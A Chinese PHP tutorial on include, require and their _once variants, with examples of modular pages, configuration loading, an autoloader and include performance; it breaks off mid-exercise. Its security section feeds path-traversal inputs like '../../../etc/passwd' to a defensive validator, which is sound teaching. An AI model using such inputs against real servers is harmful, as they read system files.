包含文件

概述

包含文件是PHP中实现代码重用和模块化编程的重要机制。通过包含文件,我们可以将功能相关的代码组织到单独的文件中,然后在需要的时候将其引入到当前脚本中。PHP提供了四种主要的包含语句:

  • include - 包含并运行指定文件
  • require - 包含并运行指定文件(失败时产生致命错误)
  • include_once - 包含并运行指定文件(只包含一次)
  • require_once - 包含并运行指定文件(只包含一次,失败时产生致命错误)

include 语句

基本语法

include 'filename.php';
include $filename;
include ('filename.php');

语法说明

  • 功能:包含并运行指定文件
  • 错误处理:如果文件不存在或包含失败,会产生警告(Warning),但脚本会继续执行
  • 返回值:成功时返回1,失败时返回false
  • 适用场景:包含非关键文件,如模板、可选配置等

基础示例

<?php
// 基础 include 示例
echo "=== 基础 include 示例 ===<br>";

// 创建配置文件内容(模拟)
$configContent = '<?php
$site_name = "我的网站";
$site_url = "https://example.com";
$admin_email = "admin@example.com";
echo "配置文件已加载<br>";
';

// 将配置内容写入临时文件
file_put_contents('config.php', $configContent);

// 包含配置文件
include 'config.php';

echo "网站名称: $site_name<br>";
echo "网站地址: $site_url<br>";
echo "管理员邮箱: $admin_email<br>";

// 包含不存在的文件
echo "<br>=== 包含不存在的文件 ===<br>";
@include 'nonexistent.php'; // 使用 @ 抑制警告
echo "脚本继续执行<br>";

// 使用变量包含文件
echo "<br>=== 使用变量包含文件 ===<br>";
$filename = 'config.php';
include $filename;
echo "通过变量包含成功,网站名称: $site_name<br>";

// 清理临时文件
unlink('config.php');
?>

require 语句

基本语法

require 'filename.php';
require $filename;
require ('filename.php');

语法说明

  • 功能:包含并运行指定文件
  • 错误处理:如果文件不存在或包含失败,会产生致命错误(Fatal Error),脚本立即停止执行
  • 返回值:成功时返回1,失败时产生致命错误
  • 适用场景:包含关键文件,如数据库连接、核心类库、重要配置等

基础示例

<?php
// 基础 require 示例
echo "=== 基础 require 示例 ===<br>";

// 创建数据库配置文件
$dbConfigContent = '<?php
$database_config = [
    "host" => "localhost",
    "username" => "db_user",
    "password" => "db_password",
    "database" => "myapp",
    "charset" => "utf8mb4"
];

function connectDatabase() {
    global $database_config;
    echo "连接到数据库: {$database_config["host"]}<br>";
    // 实际的数据库连接代码
    return true;
}

echo "数据库配置已加载<br>";
';

file_put_contents('database.php', $dbConfigContent);

// 使用 require 包含关键配置文件
require 'database.php';

echo "数据库主机: {$database_config['host']}<br>";

// 连接数据库
if (connectDatabase()) {
    echo "数据库连接成功<br>";
}

// 清理临时文件
unlink('database.php');
?>

include_once 和 require_once

基本语法

include_once 'filename.php';
require_once 'filename.php';

语法说明

  • 功能:包含并运行指定文件,但确保文件只被包含一次
  • 避免重复:如果文件已经被包含过,不会再次包含
  • 适用场景:包含函数库、类定义、配置文件等,避免重复定义错误

基础示例

<?php
// 基础 _once 示例
echo "=== include_once 和 require_once 示例 ===<br>";

// 创建工具函数文件
$utilsContent = '<?php
echo "工具函数文件被包含<br>";

function calculateDiscount($price, $percentage) {
    return $price * (1 - $percentage / 100);
}

function generateRandomString($length = 10) {
    $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $randomString = "";
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $randomString;
}
';

file_put_contents('utils.php', $utilsContent);

// 第一次包含
echo "第一次包含:<br>";
include_once 'utils.php';

// 使用函数
$discount = calculateDiscount(100, 20);
echo "折后价格: ¥$discount<br>";

$random = generateRandomString(8);
echo "随机字符串: $random<br>";

// 第二次尝试包含(不会再次执行)
echo "<br>第二次尝试包含:<br>";
include_once 'utils.php'; // 不会输出 "工具函数文件被包含"

echo "第二次包含结束<br>";

// require_once 示例
echo "<br>=== require_once 示例 ===<br>";

// 创建类定义文件
$classContent = '<?php
echo "用户类被包含<br>";

class User {
    private $id;
    private $name;
    private $email;

    public function __construct($id, $name, $email) {
        $this->id = $id;
        $this->name = $name;
        $this->email = $email;
        echo "用户对象创建: $name<br>";
    }

    public function getInfo() {
        return [
            "id" => $this->id,
            "name" => $this->name,
            "email" => $this->email
        ];
    }
}
';

file_put_contents('User.php', $classContent);

// 使用 require_once 包含类定义
require_once 'User.php';

// 创建用户对象
$user1 = new User(1, "张三", "zhangsan@example.com");
$user2 = new User(2, "李四", "lisi@example.com");

echo "用户1信息: " . json_encode($user1->getInfo()) . "<br>";

// 再次尝试包含(不会再次执行)
echo "<br>再次尝试包含 User.php:<br>";
require_once 'User.php'; // 不会输出 "用户类被包含"

// 创建另一个用户(类已经可用)
$user3 = new User(3, "王五", "wangwu@example.com");
echo "用户3信息: " . json_encode($user3->getInfo()) . "<br>";

// 清理临时文件
unlink('utils.php');
unlink('User.php');
?>

实际应用示例

1. 模块化网站结构

<?php
// 模块化网站结构示例
echo "=== 模块化网站结构 ===<br>";

// 创建配置文件
$configContent = '<?php
// 网站配置
define("SITE_NAME", "我的PHP网站");
define("SITE_URL", "https://example.com");
define("ADMIN_EMAIL", "admin@example.com");
define("DEBUG_MODE", true);

// 数据库配置
define("DB_HOST", "localhost");
define("DB_NAME", "myapp");
define("DB_USER", "root");
define("DB_PASS", "");

echo "配置文件加载完成<br>";
';

file_put_contents('config.php', $configContent);

// 创建头部文件
$headerContent = '<?php
echo "<!DOCTYPE html>
<html lang=\"zh-CN\">
<head>
    <meta charset=\"UTF-8\">
    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">
    <title>{$page_title} - " . SITE_NAME . "</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
        .header { background: #333; color: white; padding: 1rem; }
        .nav { background: #f4f4f4; padding: 0.5rem; }
        .nav a { margin-right: 1rem; text-decoration: none; }
        .content { margin: 2rem 0; }
        .footer { background: #333; color: white; padding: 1rem; text-align: center; }
    </style>
</head>
<body>
    <div class=\"header\">
        <h1>" . SITE_NAME . "</h1>
    </div>
    <div class=\"nav\">
        <a href=\"" . SITE_URL . "\">首页</a>
        <a href=\"" . SITE_URL . "/about\">关于我们</a>
        <a href=\"" . SITE_URL . "/contact\">联系我们</a>
    </div>
    <div class=\"content\">";
';

file_put_contents('header.php', $headerContent);

// 创建底部文件
$footerContent = '<?php
echo "    </div>
    <div class=\"footer\">
        <p>&copy; " . date("Y") . " " . SITE_NAME . ". 保留所有权利。</p>
        <p>联系我们: " . ADMIN_EMAIL . "</p>";
        if (DEBUG_MODE) {
            echo "<p>调试信息: 页面生成时间 " . date("Y-m-d H:i:s") . "</p>";
        }
        echo "    </div>
</body>
</html>";
';

file_put_contents('footer.php', $footerContent);

// 创建函数库文件
$functionsContent = '<?php
// 工具函数

function formatMoney($amount, $currency = "¥") {
    return $currency . number_format($amount, 2);
}

function formatDate($date, $format = "Y-m-d") {
    return date($format, strtotime($date));
}

function truncateText($text, $length = 100, $suffix = "...") {
    if (strlen($text) <= $length) {
        return $text;
    }
    return substr($text, 0, $length) . $suffix;
}

function isValidEmail($email) {
    return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}

function generateSlug($text) {
    $text = strtolower($text);
    $text = preg_replace("/[^a-z0-9]/", "-", $text);
    $text = preg_replace("/-+/", "-", $text);
    return trim($text, "-");
}

echo "函数库加载完成<br>";
';

file_put_contents('functions.php', $functionsContent);

// 使用模块化结构构建页面
echo "构建页面:<br>";

// 包含必需文件
require_once 'config.php';
require_once 'functions.php';

// 设置页面变量
$page_title = "首页";

// 包含页面头部
include 'header.php';

// 页面主要内容
echo "<h2>欢迎访问" . SITE_NAME . "!</h2>";
echo "<p>这是一个使用模块化结构构建的PHP网站。</p>";

// 展示一些函数的使用
echo "<h3>功能演示:</h3>";
echo "<ul>";
echo "<li>格式化金额: " . formatMoney(1234.56) . "</li>";
echo "<li>格式化日期: " . formatDate(date("Y-m-d")) . "</li>";
echo "<li>文本截取: " . truncateText("这是一个很长的文本,需要被截取显示", 20) . "</li>";
echo "<li>邮箱验证: " . (isValidEmail("test@example.com") ? "有效" : "无效") . "</li>";
echo "<li>URL友好化: " . generateSlug("Hello World PHP Programming") . "</li>";
echo "</ul>";

// 包含页面底部
include 'footer.php';

echo "<br>=== 模块化优势 ===<br>";
echo "1. 代码重用:头部、底部和函数可以在多个页面中共享<br>";
echo "2. 维护简单:修改一处,所有页面都会更新<br>";
echo "3. 结构清晰:不同功能分离到不同文件中<br>";
echo "4. 团队协作:不同开发者可以负责不同模块<br>";

// 清理临时文件
unlink('config.php');
unlink('header.php');
unlink('footer.php');
unlink('functions.php');
?>

2. 配置管理系统

<?php
// 配置管理系统示例
echo "=== 配置管理系统 ===<br>";

// 创建主配置文件
$mainConfigContent = '<?php
return [
    "app" => [
        "name" => "配置管理系统",
        "version" => "2.0.0",
        "debug" => true,
        "timezone" => "Asia/Shanghai",
        "charset" => "UTF-8"
    ],
    "database" => [
        "host" => "localhost",
        "port" => 3306,
        "database" => "config_system",
        "username" => "app_user",
        "password" => "app_password",
        "charset" => "utf8mb4",
        "options" => [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    ],
    "cache" => [
        "driver" => "file",
        "path" => __DIR__ . "/cache",
        "prefix" => "app_",
        "ttl" => 3600
    ],
    "session" => [
        "lifetime" => 7200,
        "path" => "/",
        "domain" => "",
        "secure" => false,
        "httponly" => true
    ]
];
';

file_put_contents('config.php', $mainConfigContent);

// 创建环境配置文件
$envConfigContent = '<?php
return [
    "database" => [
        "password" => "production_password"
    ],
    "debug" => false,
    "log_level" => "error"
];
';

file_put_contents('config.env.php', $envConfigContent);

// 创建配置管理类
$configManagerContent = '<?php
class ConfigManager {
    private static $config = [];
    private static $loaded = false;

    public static function load($configFile) {
        if (!self::$loaded) {
            // 加载主配置
            if (file_exists($configFile)) {
                self::$config = include $configFile;
            } else {
                throw new Exception("配置文件不存在: $configFile");
            }

            // 加载环境特定配置
            $envFile = str_replace(".php", ".env.php", $configFile);
            if (file_exists($envFile)) {
                $envConfig = include $envFile;
                self::$config = array_merge_recursive(self::$config, $envConfig);
            }

            self::$loaded = true;
            echo "配置加载完成<br>";
        }
    }

    public static function get($key, $default = null) {
        $keys = explode(".", $key);
        $value = self::$config;

        foreach ($keys as $k) {
            if (!isset($value[$k])) {
                return $default;
            }
            $value = $value[$k];
        }

        return $value;
    }

    public static function set($key, $value) {
        $keys = explode(".", $key);
        $config = &self::$config;

        for ($i = 0; $i < count($keys) - 1; $i++) {
            if (!isset($config[$keys[$i]])) {
                $config[$keys[$i]] = [];
            }
            $config = &$config[$keys[$i]];
        }

        $config[$keys[count($keys) - 1]] = $value;
    }

    public static function all() {
        return self::$config;
    }
}

echo "配置管理器加载完成<br>";
';

file_put_contents('ConfigManager.php', $configManagerContent);

// 使用配置管理系统
require_once 'ConfigManager.php';

try {
    // 加载配置
    ConfigManager::load('config.php');

    echo "<br>=== 配置读取示例 ===<br>";
    echo "应用名称: " . ConfigManager::get("app.name") . "<br>";
    echo "应用版本: " . ConfigManager::get("app.version") . "<br>";
    echo "调试模式: " . (ConfigManager::get("app.debug") ? "开启" : "关闭") . "<br>";
    echo "数据库主机: " . ConfigManager::get("database.host") . "<br>";
    echo "数据库端口: " . ConfigManager::get("database.port") . "<br>";
    echo "缓存驱动: " . ConfigManager::get("cache.driver") . "<br>";

    echo "<br>=== 动态修改配置 ===<br>";
    ConfigManager::set("app.maintenance", false);
    ConfigManager::set("feature.new_feature", true);

    echo "维护模式: " . (ConfigManager::get("app.maintenance") ? "开启" : "关闭") . "<br>";
    echo "新功能: " . (ConfigManager::get("feature.new_feature") ? "启用" : "禁用") . "<br>";

    echo "<br>=== 默认值示例 ===<br>";
    echo "不存在的键: " . ConfigManager::get("nonexistent.key", "默认值") . "<br>";

    echo "<br>=== 配置数组访问 ===<br>";
    $dbOptions = ConfigManager::get("database.options");
    if ($dbOptions) {
        echo "数据库选项已设置<br>";
    }

} catch (Exception $e) {
    echo "配置加载错误: " . $e->getMessage() . "<br>";
}

// 清理临时文件
unlink('config.php');
unlink('config.env.php');
unlink('ConfigManager.php');
?>

3. 类自动加载系统

<?php
// 类自动加载系统示例
echo "=== 类自动加载系统 ===<br>";

// 创建示例类目录结构
if (!is_dir('classes')) {
    mkdir('classes', 0755, true);
}
if (!is_dir('classes/Models')) {
    mkdir('classes/Models', 0755, true);
}
if (!is_dir('classes/Controllers')) {
    mkdir('classes/Controllers', 0755, true);
}

// 创建基础模型类
$baseModelContent = '<?php
namespace Models;

abstract class BaseModel {
    protected $data = [];

    public function __construct($data = []) {
        $this->data = $data;
    }

    public function __get($key) {
        return $this->data[$key] ?? null;
    }

    public function __set($key, $value) {
        $this->data[$key] = $value;
    }

    public function toArray() {
        return $this->data;
    }

    abstract public function save();
    abstract public function delete();
}
';

file_put_contents('classes/Models/BaseModel.php', $baseModelContent);

// 创建用户模型类
$userModelContent = '<?php
namespace Models;

class User extends BaseModel {
    private $table = "users";

    public function save() {
        echo "保存用户数据到 {$this->table} 表<br>";
        // 实际的保存逻辑
        return true;
    }

    public function delete() {
        echo "从 {$this->table} 表删除用户数据<br>";
        // 实际的删除逻辑
        return true;
    }

    public function getFullName() {
        return ($this->first_name ?? "") . " " . ($this->last_name ?? "");
    }

    public function isActive() {
        return ($this->status ?? "") === "active";
    }
}
';

file_put_contents('classes/Models/User.php', $userModelContent);

// 创建基础控制器类
$baseControllerContent = '<?php
namespace Controllers;

abstract class BaseController {
    protected $data = [];

    public function __construct() {
        $this->data["page_title"] = "默认标题";
        $this->data["current_time"] = date("Y-m-d H:i:s");
    }

    protected function render($template, $data = []) {
        $viewData = array_merge($this->data, $data);
        echo "渲染模板: $template<br>";
        echo "数据: " . json_encode($viewData) . "<br>";
    }

    protected function json($data, $status = 200) {
        header("Content-Type: application/json");
        echo json_encode([
            "status" => $status,
            "data" => $data
        ]);
    }

    abstract public function index();
}
';

file_put_contents('classes/Controllers/BaseController.php', $baseControllerContent);

// 创建用户控制器类
$userControllerContent = '<?php
namespace Controllers;

use Models\\User;

class UserController extends BaseController {
    private $userModel;

    public function __construct() {
        parent::__construct();
        $this->data["page_title"] = "用户管理";
        $this->userModel = new User();
    }

    public function index() {
        $users = [
            ["id" => 1, "first_name" => "张", "last_name" => "三", "email" => "zhangsan@example.com"],
            ["id" => 2, "first_name" => "李", "last_name" => "四", "email" => "lisi@example.com"],
            ["id" => 3, "first_name" => "王", "last_name" => "五", "email" => "wangwu@example.com"]
        ];

        $this->render("user_list", ["users" => $users]);
    }

    public function create($userData) {
        $user = new User($userData);
        if ($user->save()) {
            $this->json(["message" => "用户创建成功", "user" => $userData]);
        } else {
            $this->json(["message" => "用户创建失败"], 500);
        }
    }

    public function update($id, $userData) {
        $userData["id"] = $id;
        $user = new User($userData);
        if ($user->save()) {
            $this->json(["message" => "用户更新成功"]);
        } else {
            $this->json(["message" => "用户更新失败"], 500);
        }
    }

    public function delete($id) {
        $user = new User(["id" => $id]);
        if ($user->delete()) {
            $this->json(["message" => "用户删除成功"]);
        } else {
            $this->json(["message" => "用户删除失败"], 500);
        }
    }
}
';

file_put_contents('classes/Controllers/UserController.php', $userControllerContent);

// 创建自动加载器类
$autoloaderContent = '<?php
class AutoLoader {
    private static $namespaces = [];

    public static function register() {
        spl_autoload_register([self::class, "load"]);
    }

    public static function addNamespace($namespace, $path) {
        self::$namespaces[$namespace] = $path;
    }

    public static function load($className) {
        $className = ltrim($className, "\\");

        if (($lastNsPos = strrpos($className, "\\")) !== false) {
            $namespace = substr($className, 0, $lastNsPos);
            $className = substr($className, $lastNsPos + 1);
        } else {
            $namespace = "";
        }

        foreach (self::$namespaces as $ns => $path) {
            if ($namespace === $ns || strpos($namespace, $ns) === 0) {
                $relativePath = "";
                if ($namespace !== $ns) {
                    $relativePath = str_replace("\\", "/", substr($namespace, strlen($ns))) . "/";
                }

                $relativePath .= str_replace("\\", "/", $className) . ".php";
                $fullPath = $path . "/" . $relativePath;

                if (file_exists($fullPath)) {
                    require_once $fullPath;
                    return true;
                }
            }
        }

        return false;
    }
}

echo "自动加载器加载完成<br>";
';

file_put_contents('AutoLoader.php', $autoloaderContent);

// 使用自动加载系统
require_once 'AutoLoader.php';

// 注册自动加载器
AutoLoader::register();

// 添加命名空间映射
AutoLoader::addNamespace("Models", __DIR__ . "/classes/Models");
AutoLoader::addNamespace("Controllers", __DIR__ . "/classes/Controllers");

echo "自动加载器已注册<br>";

// 现在可以直接使用类,无需手动包含
echo "<br>=== 测试自动加载 ===<br>";

use Models\User;
use Controllers\UserController;

// 创建用户对象
$user = new User([
    "first_name" => "赵",
    "last_name" => "六",
    "email" => "zhaoliu@example.com",
    "status" => "active"
]);

echo "用户全名: " . $user->getFullName() . "<br>";
echo "用户状态: " . ($user->isActive() ? "活跃" : "非活跃") . "<br>";

// 保存用户
$user->save();

// 使用控制器
$controller = new UserController();
echo "<br>控制器测试:<br>";
$controller->index();

// 创建新用户
$controller->create([
    "first_name" => "孙",
    "last_name" => "七",
    "email" => "sunqi@example.com"
]);

echo "<br>=== 自动加载的优势 ===<br>";
echo "1. 无需手动包含类文件<br>";
echo "2. 按需加载,提高性能<br>";
echo "3. 支持命名空间<br>";
echo "4. 符合 PSR-4 标准<br>";
echo "5. 减少代码重复<br>";

// 清理临时文件
unlink('classes/Models/BaseModel.php');
unlink('classes/Models/User.php');
unlink('classes/Controllers/BaseController.php');
unlink('classes/Controllers/UserController.php');
unlink('AutoLoader.php');
rmdir('classes/Models');
rmdir('classes/Controllers');
rmdir('classes');
?>

安全性考虑

1. 文件包含安全

<?php
// 文件包含安全示例
echo "=== 文件包含安全 ===<br>";

// 1. 基本安全措施
echo "1. 基本安全措施:<br>";

function secureInclude($filename) {
    // 检查文件名是否为空
    if (empty($filename)) {
        echo "错误: 文件名为空<br>";
        return false;
    }

    // 清理文件名,防止路径遍历
    $filename = str_replace(["../", "..\\"], "", $filename);
    $filename = preg_replace("/^\\//", "", $filename);

    // 验证文件扩展名
    $allowedExtensions = ["php", "html", "htm"];
    $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

    if (!in_array($extension, $allowedExtensions)) {
        echo "错误: 不允许的文件类型<br>";
        return false;
    }

    // 构建完整路径
    $fullPath = __DIR__ . "/includes/" . $filename;

    // 检查文件是否存在
    if (!file_exists($fullPath)) {
        echo "错误: 文件不存在<br>";
        return false;
    }

    // 验证文件路径是否在允许的目录内
    $realPath = realpath($fullPath);
    $allowedPath = realpath(__DIR__ . "/includes");

    if ($realPath === false || strpos($realPath, $allowedPath) !== 0) {
        echo "错误: 文件路径不合法<br>";
        return false;
    }

    // 安全包含
    include $fullPath;
    return true;
}

// 创建安全的包含目录
if (!is_dir('includes')) {
    mkdir('includes', 0755, true);
}

// 创建安全的测试文件
$safeFileContent = '<?php
echo "这是一个安全的包含文件<br>";
$message = "来自安全文件的消息<br>";
echo $message;
';

file_put_contents('includes/safe_file.php', $safeFileContent);

// 测试安全包含
echo "<br>测试安全包含:<br>";
secureInclude('safe_file.php');

// 测试恶意路径
echo "<br>测试恶意路径:<br>";
secureInclude('../../../etc/passwd');
secureInclude('malicious.exe');
secureInclude('/etc/passwd');

// 2. 白名单机制
echo "<br><br>2. 白名单机制:<br>";

$allowedFiles = [
    "header.php",
    "footer.php",
    "sidebar.php",
    "config.php"
];

function whitelistInclude($filename, $allowedFiles) {
    if (!in_array($filename, $allowedFiles)) {
        echo "错误: 文件不在白名单中<br>";
        return false;
    }

    $fullPath = __DIR__ . "/includes/" . $filename;
    if (file_exists($fullPath)) {
        include $fullPath;
        return true;
    }

    echo "错误: 文件不存在<br>";
    return false;
}

// 创建更多测试文件
$headerContent = '<?php echo "<header>网站头部</header><br>"; ?>';
$footerContent = '<?php echo "<footer>网站底部</footer><br>"; ?>';

file_put_contents('includes/header.php', $headerContent);
file_put_contents('includes/footer.php', $footerContent);

// 测试白名单包含
echo "<br>测试白名单包含:<br>";
whitelistInclude('header.php', $allowedFiles);
whitelistInclude('footer.php', $allowedFiles);
whitelistInclude('malicious.php', $allowedFiles);

// 3. 输入验证和过滤
echo "<br><br>3. 输入验证和过滤:<br>";

function validatePageInput($input) {
    // 移除所有非字母数字、斜杠和点的字符
    $clean = preg_replace("/[^a-zA-Z0-9\\/\\.]/", "", $input);

    // 防止多级目录
    $clean = preg_replace("/\\.\\./", "", $clean);

    // 确保不以斜杠开头(防止绝对路径)
    $clean = ltrim($clean, "/");

    return $clean;
}

// 测试输入过滤
$testInputs = [
    "home",
    "about",
    "../admin",
    "/etc/passwd",
    "script.php?malicious=code",
    "valid-page"
];

echo "输入过滤测试:<br>";
foreach ($testInputs as $input) {
    $clean = validatePageInput($input);
    echo "原始: $input -> 清理后: $clean<br>";
}

// 清理临时文件
unlink('includes/safe_file.php');
unlink('includes/header.php');
unlink('includes/footer.php');
rmdir('includes');
?>

2. 性能优化

<?php
// 包含文件性能优化示例
echo "=== 包含文件性能优化 ===<br>";

// 1. 使用 _once 避免重复包含
echo "1. 使用 _once 优化:<br>";

// 不好的做法
function badInclude($file) {
    if (!defined("LOADED_" . strtoupper($file))) {
        include $file;
        define("LOADED_" . strtoupper($file), true);
    }
}

// 好的做法
function goodInclude($file) {
    include_once $file;
}

// 2. 条件包含
echo "<br>2. 条件包含:<br>";

function conditionalInclude($condition, $file) {
    if ($condition) {
        require_once $file;
        echo "条件满足,已包含: $file<br>";
        return true;
    } else {
        echo "条件不满足,跳过包含: $file<br>";
        return false;
    }
}

// 3. 批量包含管理
echo "<br>3. 批量包含管理:<br>";

class IncludeManager {
    private static $included = [];
    private static $basePath;

    public static function setBasePath($path) {
        self::$basePath = rtrim($path, "/") . "/";
    }

    public static function load($files) {
        if (!is_array($files)) {
            $files = [$files];
        }

        foreach ($files as $file) {
            $fullPath = self::$basePath . $file;
            $key = md5($fullPath);

            if (!isset(self::$included[$key])) {
                if (file_exists($fullPath)) {
                    require_once $fullPath;
                    self::$included[$key] = true;
                    echo "加载: $file<br>";
                } else {
                    echo "文件不存在: $file<br>";
                }
            } else {
                echo "已加载: $file<br>";
            }
        }
    }

    public static function getLoadedFiles() {
        return array_keys(self::$included);
    }
}

// 设置基础路径
IncludeManager::setBasePath(__DIR__ . "/opt");

// 创建优化测试目录和文件
if (!is_dir('opt')) {
    mkdir('opt', 0755, true);
}

$configContent = '<?php echo "配置文件加载<br>"; ?>';
$functionsContent = '<?php echo "函数库加载<br>"; ?>';
$classContent = '<?php echo "类库加载<br>"; ?>';

file_put_contents('opt/config.php', $configContent);
file_put_contents('opt/functions.php', $functionsContent);
file_put_contents('opt/classes.php', $classContent);

// 测试批量加载
echo "第一次加载:<br>";
IncludeManager::load(['config.php', 'functions.php', 'classes.php']);

echo "<br>第二次加载:<br>";
IncludeManager::load(['config.php', 'functions.php', 'classes.php']);

// 4. 缓存机制
echo "<br><br>4. 缓存机制:<br>";

class CachedInclude {
    private static $cache = [];
    private static $cacheDir;

    public static function init($cacheDir = "include_cache") {
        self::$cacheDir = $cacheDir;
        if (!is_dir($cacheDir)) {
            mkdir($cacheDir, 0755, true);
        }
    }

    public static function load($filename) {
        $cacheKey = md5($filename);
        $cacheFile = self::$cacheDir . "/" . $cacheKey . ".php";

        // 检查内存缓存
        if (isset(self::$cache[$cacheKey])) {
            echo "从内存缓存加载: $filename<br>";
            return self::$cache[$cacheKey];
        }

        // 检查文件缓存
        if (file_exists($cacheFile) && filemtime($cacheFile) > filemtime($filename)) {
            echo "从文件缓存加载: $filename<br>";
            self::$cache[$cacheKey] = include $cacheFile;
            return self::$cache[$cacheKey];
        }

        // 从原文件加载
        if (file_exists($filename)) {
            echo "从原文件加载: $filename<br>";
            $content = include $filename;

            // 保存到缓存
            self::$cache[$cacheKey] = $content;
            file_put_contents($cacheFile, "<?php return " . var_export($content, true) . ";");

            return $content;
        }

        echo "文件不存在: $filename<br>";
        return null;
    }
}

// 初始化缓存
CachedInclude::init();

// 创建测试文件
$testContent = '<?php
return [
    "app_name" => "缓存测试应用",
    "version" => "1.0.0",
    "config" => [
        "debug" => true,
        "cache_enabled" => true
    ]
];
';

file_put_contents('test_config.php', $testContent);

// 测试缓存加载
CachedInclude::load('test_config.php');
CachedInclude::load('test_config.php'); // 第二次从缓存加载

// 5. 性能监控
echo "<br><br>5. 性能监控:<br>";

class IncludeProfiler {
    private static $includes = [];

    public static function profile($filename, $callback) {
        $start = microtime(true);
        $startMemory = memory_get_usage();

        $result = $callback($filename);

        $end = microtime(true);
        $endMemory = memory_get_usage();

        self::$includes[] = [
            "file" => $filename,
            "time" => $end - $start,
            "memory" => $endMemory - $startMemory
        ];

        return $result;
    }

    public static function getReport() {
        $totalTime = 0;
        $totalMemory = 0;

        echo "=== 包含性能报告 ===<br>";
        foreach (self::$includes as $include) {
            $time = round($include["time"] * 1000, 2);
            $memory = round($include["memory"] / 1024, 2);

            echo "文件: " . basename($include["file"]) . "<br>";
            echo "  时间: {$time}ms<br>";
            echo "  内存: {$memory}KB<br>";

            $totalTime += $include["time"];
            $totalMemory += $include["memory"];
        }

        echo "<br>总计:<br>";
        echo "  总时间: " . round($totalTime * 1000, 2) . "ms<br>";
        echo "  总内存: " . round($totalMemory / 1024, 2) . "KB<br>";
    }
}

// 性能测试
IncludeProfiler::profile('test_config.php', function($file) {
    return include $file;
});

IncludeProfiler::profile('test_config.php', function($file) {
    return include $file;
});

IncludeProfiler::getReport();

// 清理临时文件
unlink('test_config.php');
unlink('opt/config.php');
unlink('opt/functions.php');
unlink('opt/classes.php');
rmdir('opt');

// 清理缓存文件
$cacheFiles = glob('include_cache/*.php');
foreach ($cacheFiles as $file) {
    unlink($file);
}
rmdir('include_cache');
?>

最佳实践

1. 项目结构组织

<?php
// 项目结构最佳实践
echo "=== 项目结构最佳实践 ===<br>";

/*
推荐的项目结构:

project/
├── config/                    # 配置文件
│   ├── app.php               # 应用配置
│   ├── database.php          # 数据库配置
│   └── env.php               # 环境配置
├── src/                       # 源代码
│   ├── Controllers/          # 控制器
│   ├── Models/              # 模型
│   ├── Services/            # 服务类
│   ├── Utils/               # 工具类
│   └── Autoloader.php       # 自动加载器
├── public/                    # 公共文件
│   ├── index.php            # 入口文件
│   ├── css/                 # 样式文件
│   ├── js/                  # JavaScript文件
│   └── images/              # 图片
├── templates/                 # 模板文件
│   ├── header.php
│   ├── footer.php
│   └── layouts/
├── storage/                   # 存储目录
│   ├── logs/                # 日志文件
│   ├── cache/               # 缓存文件
│   └── uploads/             # 上传文件
├── vendor/                    # 第三方库
├── composer.json              # Composer配置
└── README.md                  # 项目说明
*/

echo "推荐的项目结构特点:<br>";
echo "1. 按功能模块组织目录<br>";
echo "2. 配置文件统一管理<br>";
echo "3. 源代码与公共文件分离<br>";
echo "4. 使用命名空间和自动加载<br>";
echo "5. 遵循PSR标准<br>";
echo "6. 版本控制友好的结构<br>";

// 2. 文件命名规范
echo "<br><br>=== 文件命名规范 ===<br>";

echo "1. 类文件: User.php (大驼峰命名)<br>";
echo "2. 配置文件: database.php (小写下划线)<br>";
echo "3. 函数库: functions.php (小写下划线)<br>";
echo "4. 模板文件: user_list.php (小写下划线)<br>";
echo "5. 常量文件: constants.php (小写下划线)<br>";

// 3. 包含策略
echo "<br><br>=== 推荐的包含策略 ===<br>";

echo "1. 入口文件包含: require_once<br>";
echo "2. 配置文件: require_once<br>";
echo "3. 核心类库: require_once<br>";
echo "4. 工具函数: include_once<br>";
echo "5. 模板文件: include<br>";
echo "6. 可选模块: include<br>";

// 4. 错误处理
echo "<br><br>=== 错误处理策略 ===<br>";

function safeLoadConfig($file) {
    try {
        if (!file_exists($file)) {
            throw new Exception("配置文件不存在: $file");
        }

        $config = include $file;
        if (!is_array($config)) {
            throw new Exception("配置文件格式错误: $file");
        }

        return $config;
    } catch (Exception $e) {
        error_log("配置加载错误: " . $e->getMessage());
        // 返回默认配置
        return [
            "debug" => false,
            "error_handler" => "default"
        ];
    }
}

// 5. 调试和日志
echo "<br><br>=== 调试和日志记录 ===<br>";

function debugInclude($file) {
    $startTime = microtime(true);

    if (file_exists($file)) {
        include $file;
        $endTime = microtime(true);
        $loadTime = round(($endTime - $startTime) * 1000, 2);
        error_log("包含文件: $file (耗时: {$loadTime}ms)");
    } else {
        error_log("包含文件失败: $file");
    }
}

echo "调试功能:<br>";
echo "- 记录包含操作日志<br>";
echo "- 监控包含性能<br>";
echo "- 错误报告和追踪<br>";
echo "- 开发环境详细信息<br>";
?>

练习题

基础练习

  1. 基本包含操作

    <?php
    // 练习:创建和使用配置文件
    // 1. 创建 config.php 包含网站配置
    // 2. 创建 functions.php 包含常用函数
    // 3. 创建主页面使用 include 和 require
    // 4. 测试 include_once 和 require_once 的区别
    
    // 请完成代码...
    ?>
    
  2. 模块化页面

    <?php
    // 练习:创建模块化网页
    // 1. 创建 header.php 页面头部
    // 2. 创建 sidebar.php 侧边栏
    // 3. 创建 footer.php 页面底部
    // 4. 创建主页 index.php 包含所有模块
    // 5. 确保样式和布局正确
    
    // 请完成代码...
    ?>
    
  3. 配置管理

    <?php
    // 练习:实现简单的配置管理
    // 1. 创建主配置文件返回数组
    // 2. 创建环境配置覆盖特定设置
    // 3. 实现配置读取函数
    // 4. 支持嵌套配置访问
    // 5. 提供默认值支持
    
    // 请完成代码...
    ?>
    

进阶练习

  1. 自动加载器

    <?php
    // 练习:实现类自动加载器
    // 1. 支持命名空间到目录映射
    2. 实现PSR-4兼容的加载逻辑
    3. 支持多个注册路径
    4. 提供加载错误处理
    // 5. 优化加载性能
    
    // 请完成代码...
    ?>
    
  2. 模板系统

    <?php
    // 练习:实现简单模板系统
    // 1. 支持变量替换 {{variable}}
    // 2. 支持简单条件判断
    // 3. 支持模板继承
